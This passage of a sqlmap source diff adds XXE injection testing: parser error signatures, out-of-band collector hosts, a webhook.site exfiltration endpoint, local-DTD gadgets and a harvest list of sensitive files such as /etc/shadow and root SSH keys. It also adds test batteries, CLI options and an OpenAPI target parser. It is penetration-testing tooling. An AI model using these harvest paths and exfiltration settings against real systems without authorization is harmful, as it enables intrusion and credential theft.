"sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
# Patterns often seen in HTTP headers containing custom injection marking character '*'
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
# Template used for common table existence check
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
@ -1065,6 +1112,112 @@ SSTI_ERROR_SIGNATURES = (
SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
# XXE parser error signatures for detection and fingerprinting. Each tuple is
# (parser_family, regex_fragment). A match means the XML surface reached a real
# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) -
# useful both as an error-based oracle and to fingerprint the back-end parser.
XXE_ERROR_SIGNATURES = (
("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"),
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
("Go encoding/xml", r"XML syntax error on line \d+"),
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"),
)
XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)
# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external
# entities explicitly refused). Reported as "reachable but protected" - never a hit.
XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)"
# Benign, low-entropy files used only to demonstrate file-read impact once XXE is
# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a
# short host-identity file is enough to prove the read without tripping decoys.
# Out-of-band (interactsh) collector for blind XXE confirmation. Public default
# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server
# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match
# the interactsh defaults (subdomain = <20-char id><13-char nonce>.<server>).
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
OOB_EXFIL_ENDPOINT = "https://webhook.site"
OOB_CORRELATION_ID_LENGTH = 20
OOB_NONCE_LENGTH = 13
OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
# reproducible response delay betrays otherwise-blind XXE with NO collector needed.
# The delay must exceed a DTD-processing control baseline by this many seconds.
XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
XXE_IMPACT_FILES = (
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
)
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material, common application drop paths) - the XXE analogue of the
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/etc/hosts",
"/etc/os-release",
"/etc/shadow",
"/etc/group",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/self/status",
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"/flag",
"/flag.txt",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
# Application web roots + source filenames used, once php://filter is available, to
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
# environ}. Best-effort and bounded.
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
XXE_SOURCE_NAMES = (
"index.php", "config.php", "config.inc.php", "secret.php",
"db.php", "database.php", "settings.php", "init.php", "functions.php",
"app.py", "server.py", "main.py", "wp-config.php", ".env",
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
# Windows paths are community-sourced and remain UNVERIFIED vendor-side.
XXE_LOCAL_DTDS = (
("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable
("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package
("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"),
("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile
("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED
("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"),
("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"),
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
)
# Upper bound for SSTI value extraction (reserved for future use)
SSTI_MAX_LENGTH = 256

View file

@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX
from lib.core.threads import getCurrentThreadData
from lib.utils.hashdb import HashDB
from thirdparty import six
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six.moves import urllib as _urllib
def _setRequestParams():
@ -618,7 +618,7 @@ def _createFilesDir():
Create the file directory.
"""
if not any((conf.fileRead, conf.commonFiles)):
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
return
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)

View file

@ -41,12 +41,12 @@ from lib.core.patch import unisonRandom
from lib.core.settings import IS_WIN
from lib.core.settings import RESTAPI_VERSION
def vulnTest():
def vulnTest(tests=None, label="vuln"):
"""
Runs the testing against 'vulnserver'
Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS)
"""
TESTS = (
TESTS = tests if tests is not None else (
("-h", ("to see full list of options run with '-hh'",)),
("--dependencies", ("sqlmap requires", "third-party library")),
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
@ -63,7 +63,7 @@ def vulnTest():
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
@ -73,17 +73,17 @@ def vulnTest():
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
@ -97,7 +97,7 @@ def vulnTest():
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")),
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
)
@ -263,9 +263,9 @@ def vulnTest():
clearConsoleLine()
if retVal:
logger.info("vuln test final result: PASSED")
logger.info("%s test final result: PASSED" % label)
else:
logger.error("vuln test final result: FAILED")
logger.error("%s test final result: FAILED" % label)
for filename in cleanups:
try:
@ -280,6 +280,31 @@ def vulnTest():
return retVal
def fpTest():
"""
On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that
each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware
comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics),
paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin.
Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'.
"""
FP_TESTS = (
# false-positive traps -> sqlmap MUST NOT flag these as injectable
("-u \"<base>fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives
("-u \"<base>fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison
("-u \"<base>fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true)
("-u \"<base>fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling
("-u \"<base>fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity
("-u \"<base>fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics
("-u \"<base>fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model
# true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+)
("-u <url> -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")),
("-u \"<url>&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)),
)
return vulnTest(tests=FP_TESTS, label="fp")
def apiTest():
"""
Runs a basic live test of the REST API: launches the server in a separate process

View file

@ -144,6 +144,12 @@ def cmdLineParser(argv=None):
target.add_argument("-c", dest="configFile",
help="Load options from a configuration INI file")
target.add_argument("--openapi", dest="openApiFile",
help="Derive targets from OpenAPI/Swagger (file/URL)")
target.add_argument("--openapi-base", dest="openApiBase",
help="Base URL for a host-less OpenAPI/Swagger spec")
# Request options
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
@ -153,7 +159,7 @@ def cmdLineParser(argv=None):
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--method", dest="method",
request.add_argument("-X", "--method", dest="method",
help="Force usage of given HTTP method (e.g. PUT)")
request.add_argument("--data", dest="data",
@ -312,9 +318,6 @@ def cmdLineParser(argv=None):
optimization.add_argument("-o", dest="optimize", action="store_true",
help="Turn on all optimization switches")
optimization.add_argument("--predict-output", dest="predictOutput", action="store_true",
help="Predict common queries output")
# Note: persistent (Keep-Alive) connections are used by default; this opts out
optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true",
help="Disable persistent HTTP(s) connections (Keep-Alive)")
@ -434,7 +437,7 @@ def cmdLineParser(argv=None):
help="Column values to use for UNION query SQL injection")
techniques.add_argument("--dns-domain", dest="dnsDomain",
help="Domain name used for DNS exfiltration attack")
help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)")
techniques.add_argument("--second-url", dest="secondUrl",
help="Resulting page URL searched for second-order response")
@ -523,7 +526,7 @@ def cmdLineParser(argv=None):
enumeration.add_argument("-C", dest="col",
help="DBMS database table column(s) to enumerate")
enumeration.add_argument("-X", dest="exclude",
enumeration.add_argument("--exclude", dest="exclude",
help="DBMS database identifier(s) to not enumerate")
enumeration.add_argument("-U", dest="user",
@ -784,6 +787,15 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
help="Test for server-side template injection")
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection")
nonsql.add_argument("--oob-server", dest="oobServer",
help="Out-of-band server for blind '--xxe'")
nonsql.add_argument("--oob-token", dest="oobToken",
help="Authentication token for a self-hosted '--oob-server'")
# Miscellaneous options
miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
@ -912,6 +924,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--fp-test", dest="fpTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--api-test", dest="apiTest", action="store_true",
help=SUPPRESS)
@ -1169,7 +1184,7 @@ def cmdLineParser(argv=None):
else:
args.stdinPipe = None
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)

View file

@ -75,6 +75,8 @@ def configFileParser(configFile):
except Exception as ex:
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
raise SqlmapSyntaxException(errMsg)
finally:
configFP.close()
if not config.has_section("Target"):
errMsg = "missing a mandatory section 'Target' in the configuration file"

361
lib/parse/openapi.py Normal file
View file

@ -0,0 +1,361 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import json
import re
from lib.core.common import getSafeExString
from lib.core.data import logger
from lib.core.enums import HTTP_HEADER
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from thirdparty import six
from thirdparty.six.moves.urllib.parse import quote as _quote
try:
import yaml # optional (only needed for YAML specs)
except ImportError:
yaml = None
# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The
# document is treated as a request generator, NOT a contract to validate: for every operation a single
# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any
# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully.
MAX_REF_DEPTH = 25
def _loadSpec(content):
try:
return json.loads(content)
except ValueError:
if yaml is None:
errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional "
errMsg += "'pyyaml' module (needed for YAML specifications) is not available"
raise ValueError(errMsg)
try:
return yaml.safe_load(content)
except Exception as ex:
raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex))
def _resolve(spec, node, seen=None, depth=0):
seen = seen or set()
if isinstance(node, dict) and "$ref" in node:
ref = node["$ref"]
if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref
return {}
if ref in seen or depth > MAX_REF_DEPTH:
return {}
if not ref.startswith("#/"):
logger.warning("skipping external OpenAPI $ref '%s'" % ref)
return {}
seen = seen | set([ref])
current = spec
for part in ref[2:].split('/'):
part = part.replace("~1", "/").replace("~0", "~")
if not isinstance(current, dict) or part not in current:
logger.warning("skipping dangling OpenAPI $ref '%s'" % ref)
return {}
current = current[part]
return _resolve(spec, current, seen, depth + 1)
return node
EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs
def _example(spec, schema, seen=None, depth=0, cache=None):
# 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs
# (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this
# the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas.
seen = seen or set()
if cache is None:
cache = {}
if depth > EXAMPLE_MAX_DEPTH:
return "1"
ref = schema.get("$ref") if isinstance(schema, dict) else None
if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key
ref = None
if ref is not None and ref in cache:
return cache[ref]
schema = _resolve(spec, schema or {}, seen, depth)
if not isinstance(schema, dict):
return "1"
value = None
if "example" in schema:
value = schema["example"]
elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1)
value = schema["const"]
elif "default" in schema:
value = schema["default"]
elif isinstance(schema.get("examples"), list) and schema["examples"]:
value = schema["examples"][0]
elif isinstance(schema.get("enum"), list) and schema["enum"]:
value = schema["enum"][0]
else:
combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None)
if combinator:
if combinator == "allOf":
merged = {}
for sub in schema[combinator]:
part = _example(spec, sub, seen, depth + 1, cache)
if isinstance(part, dict):
merged.update(part)
value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache)
else:
value = _example(spec, schema[combinator][0], seen, depth + 1, cache)
else:
_type = schema.get("type")
if isinstance(_type, list): # OpenAPI 3.1 allows a list of types (e.g. ["string", "null"])
_type = next((_ for _ in _type if _ != "null"), None)
if _type == "object" or ("properties" in schema and not _type):
properties = schema.get("properties")
value = dict((name, _example(spec, sub, seen, depth + 1, cache)) for name, sub in (properties if isinstance(properties, dict) else {}).items())
elif _type == "array":
value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)]
elif _type in ("integer", "number"):
value = 1
elif _type == "boolean":
value = True
elif _type == "string":
formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="}
value = formats.get(schema.get("format"), "1")
else:
value = "1"
if ref is not None:
cache[ref] = value
return value
def _scalar(value):
if isinstance(value, bool):
return "true" if value else "false"
if isinstance(value, (int, float)):
return str(value)
if isinstance(value, six.string_types):
return value
try:
return json.dumps(value)
except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01'
return str(value)
_NO_EXAMPLE = object()
def _explicitExample(spec, container):
# a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a
# schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples'
# is a map of name -> {"value": ...} (each entry possibly a $ref).
if not isinstance(container, dict):
return _NO_EXAMPLE
if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis
return container["example"]
examples = container.get("examples")
if isinstance(examples, dict) and examples:
first = _resolve(spec, next(iter(examples.values())))
if isinstance(first, dict) and first.get("value") is not None:
return first["value"]
return _NO_EXAMPLE
def _noMark(text):
# strip any custom injection mark already present in a synthesized value so only the intentionally
# appended mark (if any) survives (avoids a stray/second injection point)
return text.replace(CUSTOM_INJECTION_MARK_CHAR, "")
def _headerClean(text):
# remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other
# C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line
return re.sub(r"[\x00-\x1f\x7f]", "", text)
_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators)
def _urlSafe(value, safe=""):
# percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&',
# '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps
# selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]).
try:
return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe)
except Exception:
return value
def _baseUrl(spec, origin=None, servers=None):
# defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation
# try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level
# 'servers' (used for per-path / per-operation 'servers').
basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else ""
if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed
basePath = "/" + basePath
servers = servers if servers is not None else spec.get("servers")
if isinstance(servers, list) and servers and isinstance(servers[0], dict):
url = servers[0].get("url")
url = url if isinstance(url, six.string_types) else ""
variables = servers[0].get("variables")
if isinstance(variables, dict):
for name, meta in variables.items():
default = meta.get("default", "1") if isinstance(meta, dict) else "1"
url = url.replace("{%s}" % name, str(default))
if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin)
return url.rstrip('/')
return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin
if spec.get("host"): # Swagger v2 with an explicit host
schemes = spec.get("schemes")
scheme = schemes[0] if isinstance(schemes, list) and schemes else "https"
return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/'))
return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin
_METHODS = ("get", "post", "put", "delete", "patch", "options", "head")
def openApiTargets(content, origin=None):
"""
Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger
specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin'
(scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers'
entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry
the custom injection mark so they become testable injection points.
"""
spec = _loadSpec(content)
if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"):
errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification"
raise ValueError(errMsg)
try:
rootBase = _baseUrl(spec, origin)
except Exception: # never let base-URL synthesis abort the whole run
rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else ""
isV2 = "swagger" in spec and "openapi" not in spec
retVal = []
cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas)
for path, item in (spec.get("paths") or {}).items():
item = _resolve(spec, item) # a Path Item object may itself be a $ref
if not isinstance(item, dict):
continue
shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation
for method, operation in item.items():
